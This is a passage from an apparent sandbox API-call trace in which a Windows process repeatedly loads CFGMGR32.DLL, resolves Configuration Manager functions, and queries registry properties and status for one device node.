GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.552] malloc (_Size=0x18) returned 0x20abc282040 [0214.552] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0214.552] malloc (_Size=0x62) returned 0x20abc2807d0 [0214.552] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0214.553] free (_Block=0x20abc2807d0) [0214.553] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3ba4edf6, dwHighDateTime=0x1d9eb0c)) [0214.724] SetEvent (hEvent=0x248) returned 1 [0214.729] malloc (_Size=0x18) returned 0x20abc281e80 [0214.729] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0214.729] free (_Block=0x20abc281e80) [0214.730] malloc (_Size=0x18) returned 0x20abc281b20 [0214.730] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0214.730] free (_Block=0x20abc281b20) [0214.730] malloc (_Size=0x18) returned 0x20abc281f60 [0214.730] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0214.730] free (_Block=0x20abc281f60) [0214.730] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0214.730] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0214.730] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0214.730] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0214.730] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79b50 [0214.730] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0214.730] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0214.730] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0214.731] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0214.731] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0214.732] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0214.732] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0214.733] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79b50) returned 1 [0214.734] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0214.734] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.734] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.739] malloc (_Size=0x18) returned 0x20abc281b80 [0214.739] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0214.743] malloc (_Size=0x48) returned 0x20abc27cf80 [0214.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3bc3e82a, dwHighDateTime=0x1d9eb0c)) [0214.743] SetEvent (hEvent=0x248) returned 1 [0214.748] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.748] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.752] malloc (_Size=0x18) returned 0x20abc2820a0 [0214.752] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0214.752] malloc (_Size=0x48) returned 0x20abc27cf80 [0214.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3bc3e82a, dwHighDateTime=0x1d9eb0c)) [0214.753] SetEvent (hEvent=0x248) returned 1 [0214.757] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.757] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.762] malloc (_Size=0x18) returned 0x20abc281c80 [0214.762] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0214.763] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3bc687c4, dwHighDateTime=0x1d9eb0c)) [0214.764] SetEvent (hEvent=0x248) returned 1 [0214.768] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.768] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.768] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.769] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.772] malloc (_Size=0x18) returned 0x20abc281d40 [0214.772] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0214.952] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.952] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3be2f5db, dwHighDateTime=0x1d9eb0c)) [0214.953] SetEvent (hEvent=0x248) returned 1 [0214.958] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.959] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.964] malloc (_Size=0x18) returned 0x20abc281f60 [0214.964] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0214.967] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3be54961, dwHighDateTime=0x1d9eb0c)) [0214.967] SetEvent (hEvent=0x248) returned 1 [0214.971] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.971] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.976] malloc (_Size=0x18) returned 0x20abc281a80 [0214.976] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x36, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0214.976] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3be7ad21, dwHighDateTime=0x1d9eb0c)) [0214.977] SetEvent (hEvent=0x248) returned 1 [0214.982] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.982] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.986] GetProcAddress (hModule=0x7ffb1ced0000, 